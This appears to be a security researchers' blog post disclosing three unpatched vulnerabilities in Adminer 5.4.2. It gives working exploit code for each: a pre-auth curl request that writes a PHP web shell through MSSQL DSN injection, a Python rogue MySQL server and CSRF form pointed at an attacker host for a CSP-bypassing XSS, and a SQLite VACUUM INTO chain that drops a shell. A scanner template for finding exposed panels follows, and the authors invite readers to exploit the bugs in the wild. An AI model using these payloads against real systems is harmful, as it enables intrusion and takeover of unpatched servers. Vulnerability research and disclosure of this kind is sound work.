Adminer is a single PHP file that you drop into your web root and get a full database admin panel out of it. That makes it convenient. It also makes it one of the most exposed admin panels on the internet, because anybody who deployed it once and forgot about it left a login page sitting on production, indexed by Google and pickable by a scanner.
We have been here before. Years ago Yashar found a way to abuse a publicly reachable Adminer on a private bug bounty program to read arbitrary files from the host, and wrote it up here. He never reported the underlying issue to Adminer; he just used it once on the program that paid for it and moved on. The class itself got a CVE of its own a few years later, CVE-2021-43008, after somebody else rediscovered it and reported it properly. That bug is long gone now, but it left a habit: every couple of years one of us opens the latest Adminer and reads it. This year was that year.
Amir and I decided to take a look at Adminer for fun, and of course
to make some money as we've done before. We pulled the current
single-file build, adminer-5.4.2.php, and read it from
top to bottom over a couple of sessions. By the end of the pass we
had three 0-days: a pre-auth remote code execution against any
Adminer connected to an MSSQL/Azure SQL backend, a stored XSS that
bypasses Adminer's CSP through a rogue MySQL server, and an
authenticated remote code execution against SQLite that walks around
the existing blocklist. We reported the full set to the maintainer
via GitHub on 6 April 2026 and followed up on
13 April. As of this writing, over two months later,
there has still been no acknowledgement. If there had been any, we
would not be publishing today.
The customers who keep Adminer reachable on production deserve to know what is sitting on their hosts. This post is the closest thing to a public advisory the bugs will get until the vendor moves.
Discovery
The compact build we tested is the official
adminer-5.4.2.php from adminer.org, the latest stable at
the time we audited it. For the audit itself we read the split
source from the GitHub repo at tag v5.4.2, because that
tree has the original file paths and line numbers we wanted to cite.
The repo also carries plugins, the Editor variant, and other assets
that are not part of the default compact build; we ignored those and
read what actually ships in the single-file binary.
Adminer is small: a few hundred KB of PHP that connects to and manages a handful of database drivers behind one login form. We read it end-to-end and walked out with three issues.
Bug 1: Pre-Auth RCE via MSSQL DSN Injection
The first bug is the most interesting one. It is a pre-auth remote
code execution that fires on any Adminer running on top of
pdo_sqlsrv, which is the standard PHP extension for
connecting to Microsoft SQL Server and Azure SQL. The vulnerable
line lives in the MSSQL driver,
adminer/drivers/mssql.inc.php at line 185:
if (extension_loaded("pdo_sqlsrv")) {
class Db extends MssqlDb {
public $extension = "PDO_SQLSRV";
function attach(string $server, string $username, string $password): string {
list($host, $port) = host_port($server);
return $this->dsn("sqlsrv:Server=$host" . ($port ? ",$port" : ""), $username, $password);
}
}
}
The driver builds an ODBC DSN string by concatenating the
user-controlled $host value into a template, then hands
the result to PDO. There is no escaping anywhere on this path.
host_port() (in
include/functions.inc.php:851) is a thin regex that
splits an IPv6 bracket form like [::1]:1433 into host
and port; if the input does not match that pattern it returns the
original string unchanged, which is the common case. So whatever we
type into the login form's server field lands directly
inside the DSN.
ODBC treats semicolons as DSN parameter delimiters. That means a
semicolon in the server name lets us append arbitrary ODBC options
to the connection string. The two options worth knowing about here
are TraceFile and TraceOn. When these are
present the ODBC driver writes a trace of the attempted connection
to a file we name, before the connection itself succeeds, and the
trace contains the literal connection string including the
UID={...} field. The username we submit in the login
form goes directly into that UID={...} field, raw. So
if we put PHP code in the username, the ODBC driver politely writes
that PHP code to a file of our choosing.
The end-to-end primitive looks like this:
curl "http://target.tld/adminer.php" -L -c - \
-d "auth[driver]=mssql" \
-d "auth[server]=127.0.0.1;TraceFile=shell.php;TraceOn=1" \
--data-urlencode "auth[username]=<?php system(\$_GET['c']); ?>" \
-d "auth[password]=x"
The DSN that Adminer ends up handing to PDO is
sqlsrv:Server=127.0.0.1;TraceFile=shell.php;TraceOn=1.
The ODBC driver opens the trace file, writes the connection metadata
into it (including our <?php payload as part of
UID={...}), then tries to connect to
127.0.0.1 and fails. The failure does not matter. The
file has already been written next to adminer.php in
the web root. One request later we have a shell:
curl "http://target.tld/shell.php?c=id"
# uid=33(www-data) gid=33(www-data) groups=33(www-data)
Pre-auth. No valid SQL Server needed. No credentials. The login attempt fails by design.
The preconditions are narrow but realistic. The target needs
pdo_sqlsrv loaded and the Microsoft ODBC Driver for SQL
Server installed, which is exactly the configuration you get on a
server that talks to Azure SQL Database or a Microsoft SQL Server
backend. The web root also needs to be writable by the PHP worker,
which is the default on a lot of containerized PHP setups. The same
shape exists in the sibling pdo_dblib branch at line
195 of the same file, where the DSN template is
dblib:charset=utf8;host=$host; we did not chase a
gadget on that one because we did not have a reachable dblib install
to confirm against, but the code is identical and we suspect it is
equivalent.
Bug 2: Stored XSS via Rogue MySQL Server (CSP Nonce Bypass)
The second bug is more fun than dangerous, but it is technically a stored XSS that bypasses Adminer's CSP in a fully supported way. It needs an attacker-controlled MySQL server, which sounds like a heavy precondition until you remember that the login form has no CSRF token, and Adminer is happy to call out to any MySQL host you give it.
The sink is in adminer/include/adminer.inc.php at line
1081:
echo script("syntaxHighlighting('" . preg_replace('~^(\d\.?\d).*~s', '\1', connection()->server_info) . "', '" . connection()->flavor . "');");
connection()->server_info is whatever string the
database server returned in its handshake. For MySQL that is the
version string sitting in the initial Greeting packet, completely
controlled by whoever runs the server we are talking to. Adminer
assumes it will always look like 5.7.38 or
10.11.5-MariaDB, so it runs a preg_replace
with the anchored pattern ~^(\d\.?\d).*~s to extract
the first two digits.
The interesting property of preg_replace is that when
the pattern fails to match, it returns the original input unchanged.
The pattern here only matches input that starts with a digit
followed optionally by a dot and another digit. Send a version
string that does not start with a digit and the regex falls through;
the raw string is concatenated into the JavaScript, inside a
<script> tag that script() (in
include/html.inc.php:5) wraps with a valid CSP nonce:
function script(string $source, string $trailing = "\n"): string {
return "<script" . nonce() . ">$source</script>$trailing";
}
So we win twice. The injection is reflected into a script context, and the script tag carries the legitimate per-request nonce, which means the browser's strict CSP does not block it. The payload runs.
The minimum rogue MySQL server you need is about 80 lines of Python that speaks just enough of the MySQL protocol to send a Greeting packet with a custom version string and accept any login. We had this:
import socket, struct, threading
PAYLOAD = "1');alert(origin)//"
CAP_PROTOCOL_41 = 0x0200
CAP_SECURE_CONNECTION = 0x8000
CAP_PLUGIN_AUTH = 0x00080000
CAPS_LOW = CAP_PROTOCOL_41 | CAP_SECURE_CONNECTION
CAPS_HIGH = (CAP_PLUGIN_AUTH >> 16)
def make_packet(seq, payload):
length = struct.pack("<I", len(payload))[:3]
return length + bytes([seq]) + payload
def make_greeting(version_str):
pkt = b"\x0a" # protocol version 10
pkt += version_str.encode() + b"\x00" # version string <-- attacker controlled
pkt += struct.pack("<I", 1) # connection id
pkt += b"\x41" * 8 # auth plugin data part 1
pkt += b"\x00" # filler
pkt += struct.pack("<H", CAPS_LOW)
pkt += b"\x21" # charset utf8
pkt += struct.pack("<H", 0x0002) # status flags
pkt += struct.pack("<H", CAPS_HIGH)
pkt += b"\x15" # auth data length (21)
pkt += b"\x00" * 10
pkt += b"\x41" * 12 + b"\x00"
pkt += b"mysql_native_password\x00"
return make_packet(0, pkt)
def make_ok(seq):
pkt = b"\x00\x00\x00"
pkt += struct.pack("<H", 0x0002)
pkt += struct.pack("<H", 0)
return make_packet(seq, pkt)
def make_err(seq, msg=b"not supported"):
pkt = b"\xff"
pkt += struct.pack("<H", 1045)
pkt += b"#HY000"
pkt += msg
return make_packet(seq, pkt)
def handle(conn):
conn.sendall(make_greeting(PAYLOAD))
try: conn.recv(4096)
except: conn.close(); return
conn.sendall(make_ok(2))
while True:
try:
data = conn.recv(4096)
if not data: break
conn.sendall(make_err(data[3] + 1))
except: break
conn.close()
srv = socket.socket()
srv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
srv.bind(("0.0.0.0", 3307))
srv.listen(5)
print("[*] Rogue MySQL on :3307 - version:", PAYLOAD)
while True:
conn, _ = srv.accept()
threading.Thread(target=handle, args=(conn,)).start()
Point the victim Adminer at this server, log in as anyone, and the dashboard renders with:
<script nonce="REAL_NONCE_VALUE">syntaxHighlighting('1');alert(origin)//', 'mysql');</script>
alert(origin) runs. Because the login form has no CSRF
token, the precondition can be satisfied from a remote attacker
page without any user action beyond visiting the page:
<form id="f" method="POST" action="http://target.tld/adminer.php">
<input name="auth[driver]" value="server">
<input name="auth[server]" value="ATTACKER_IP:3307">
<input name="auth[username]" value="root">
<input name="auth[password]" value="x">
</form>
<script>document.getElementById('f').submit()</script>
The victim visits the page. Their browser POSTs the login. Adminer connects out to the attacker's MySQL server, receives the malicious version string, renders the dashboard, and runs the payload in the origin of the victim's Adminer.
Bug 3: Authenticated RCE via SQLite VACUUM INTO
The last one is small and slightly funny. Adminer's authors clearly
thought about the obvious SQLite-to-RCE path, because they put it
on a blocklist. They just forgot that SQLite has more than one way
to write a file. The relevant code is in
adminer/sql.inc.php at line 121:
if (JUSH == "sqlite" && preg_match("~^$space*+ATTACH\\b~i", $q, $match)) {
// PHP doesn't support setting SQLITE_LIMIT_ATTACHED
echo "<p class='error'>" . lang('ATTACH queries are not supported.') . "\n";
}
The blocklist matches any query that starts with ATTACH.
The historical reason this exists is that
ATTACH DATABASE 'shell.php' is the textbook
SQLite-to-PHP-shell primitive: SQLite creates the database file
with the given name and extension, and if the file contains
arbitrary attacker-supplied bytes (for example as a table name),
PHP will happily parse the bytes between <?php ... ?>
and execute them.
What the blocklist does not cover is VACUUM INTO,
available since SQLite 3.27.0. VACUUM INTO 'path.php'
does almost exactly the same thing as ATTACH: it
writes the current database to a new file at an arbitrary path with
an arbitrary extension. The blocklist regex starts with
ATTACH\b, so a query starting with VACUUM
walks straight through.
The full chain, after logging into the SQLite driver:
CREATE TABLE "<?php system($_GET['c']); ?>" (i int);
VACUUM INTO '/var/www/html/shell.php';
The first statement creates a table whose name is the PHP payload.
SQLite stores table names as literal UTF-8 bytes inside the database
file. VACUUM INTO then writes the whole database to
/var/www/html/shell.php. PHP's parser scans the
resulting file, hits the <?php marker somewhere in
the middle of the SQLite binary content, and runs everything
between it and the closing ?>. We have a shell:
curl "http://target.tld/shell.php?c=id"
# uid=33(www-data) gid=33(www-data) groups=33(www-data)
This one is post-auth, so it is meaningfully less severe than Bug 1, but SQLite-backed Adminer instances are often left with default or empty credentials, and an attacker who has compromised any low-privilege account on the database has the same primitive.
Takeaway
We found these 0-days the same way we found the cPanel ones a few weeks ago: by reading source. Once we had the bugs, we ran them across the bug bounty programs we have access to and reported every match. The bounties from those two campaigns combined came out in five figures. The number mattered less than what we were actually after, which was a whitebox audit on real targets, the fun of it, and a check on our own instincts after years of blackbox work.
If you want to find these in the wild, the only real prerequisite is being able to identify exposed Adminer panels. Since there is no patch out yet, any panel you can reach is at least exploitable for the XSS, because Bug 2 has no host-side preconditions; depending on the database driver underneath, the same panel can chain further into RCE.
There is already an official Nuclei template for detecting Adminer panels, but in practice it missed enough live instances that we wrote our own to catch more of them. Ours enumerates the common deployment filenames Adminer ships with plus a few aliases people use, and confirms the panel via the page title and a footer string. We are dropping it here so you can use it too.
id: adminer-panel
info:
name: Adminer Login Panel - Detect
author: yshahinzadeh,amirmsafari
severity: info
description: An Adminer login panel was detected.
tags: panel,adminer,discovery
http:
- method: GET
path:
- '{{BaseURL}}/adminer-5.0.0.php'
- '{{BaseURL}}/adminer-5.0.1.php'
- '{{BaseURL}}/adminer-5.0.2.php'
- '{{BaseURL}}/adminer-5.0.3.php'
- '{{BaseURL}}/adminer-5.0.4.php'
- '{{BaseURL}}/adminer-5.0.5.php'
- '{{BaseURL}}/adminer-5.0.6.php'
- '{{BaseURL}}/adminer-5.1.0.php'
- '{{BaseURL}}/adminer-5.1.1.php'
- '{{BaseURL}}/adminer-5.2.0.php'
- '{{BaseURL}}/adminer-5.2.1.php'
- '{{BaseURL}}/adminer-5.3.0.php'
- '{{BaseURL}}/adminer-5.4.0.php'
- '{{BaseURL}}/adminer-5.4.1.php'
- '{{BaseURL}}/adminer-5.4.2.php'
- '{{BaseURL}}/adminer-5.0.0-en.php'
- '{{BaseURL}}/adminer-5.0.1-en.php'
- '{{BaseURL}}/adminer-5.0.2-en.php'
- '{{BaseURL}}/adminer-5.0.3-en.php'
- '{{BaseURL}}/adminer-5.0.4-en.php'
- '{{BaseURL}}/adminer-5.0.5-en.php'
- '{{BaseURL}}/adminer-5.0.6-en.php'
- '{{BaseURL}}/adminer-5.1.0-en.php'
- '{{BaseURL}}/adminer-5.1.1-en.php'
- '{{BaseURL}}/adminer-5.2.0-en.php'
- '{{BaseURL}}/adminer-5.2.1-en.php'
- '{{BaseURL}}/adminer-5.3.0-en.php'
- '{{BaseURL}}/adminer-5.4.0-en.php'
- '{{BaseURL}}/adminer-5.4.1-en.php'
- '{{BaseURL}}/adminer-5.4.2-en.php'
- '{{BaseURL}}/adminer-5.0.0-mysql.php'
- '{{BaseURL}}/adminer-5.0.1-mysql.php'
- '{{BaseURL}}/adminer-5.0.2-mysql.php'
- '{{BaseURL}}/adminer-5.0.3-mysql.php'
- '{{BaseURL}}/adminer-5.0.4-mysql.php'
- '{{BaseURL}}/adminer-5.0.5-mysql.php'
- '{{BaseURL}}/adminer-5.0.6-mysql.php'
- '{{BaseURL}}/adminer-5.1.0-mysql.php'
- '{{BaseURL}}/adminer-5.1.1-mysql.php'
- '{{BaseURL}}/adminer-5.2.0-mysql.php'
- '{{BaseURL}}/adminer-5.2.1-mysql.php'
- '{{BaseURL}}/adminer-5.3.0-mysql.php'
- '{{BaseURL}}/adminer-5.4.0-mysql.php'
- '{{BaseURL}}/adminer-5.4.1-mysql.php'
- '{{BaseURL}}/adminer-5.4.2-mysql.php'
- '{{BaseURL}}/adminer-5.0.0-mysql-en.php'
- '{{BaseURL}}/adminer-5.0.1-mysql-en.php'
- '{{BaseURL}}/adminer-5.0.2-mysql-en.php'
- '{{BaseURL}}/adminer-5.0.3-mysql-en.php'
- '{{BaseURL}}/adminer-5.0.4-mysql-en.php'
- '{{BaseURL}}/adminer-5.0.5-mysql-en.php'
- '{{BaseURL}}/adminer-5.0.6-mysql-en.php'
- '{{BaseURL}}/adminer-5.1.0-mysql-en.php'
- '{{BaseURL}}/adminer-5.1.1-mysql-en.php'
- '{{BaseURL}}/adminer-5.2.0-mysql-en.php'
- '{{BaseURL}}/adminer-5.2.1-mysql-en.php'
- '{{BaseURL}}/adminer-5.3.0-mysql-en.php'
- '{{BaseURL}}/adminer-5.4.0-mysql-en.php'
- '{{BaseURL}}/adminer-5.4.1-mysql-en.php'
- '{{BaseURL}}/adminer-5.4.2-mysql-en.php'
- '{{BaseURL}}/adminer.php'
- '{{BaseURL}}/_adminer.php'
- '{{BaseURL}}/sql.php'
- '{{BaseURL}}/mysql.php'
- '{{BaseURL}}/editor.php'
- '{{BaseURL}}' # Adminer Docker Image Launch it on root
headers:
Accept-Language: en-US,en;q=0.5
stop-at-first-match: true
matchers-condition: and
matchers:
- type: word
words:
- "Adminer</title>"
- "Adminer</a>"
condition: or
- type: status
status:
- 200
extractors:
- type: regex
part: body
group: 1
regex:
- '<span class="version">([0-9.]+)'
That is all from us. We hope you enjoyed the read, and we hope it is clear why we chose to go public rather than keep waiting on a reply that may never come.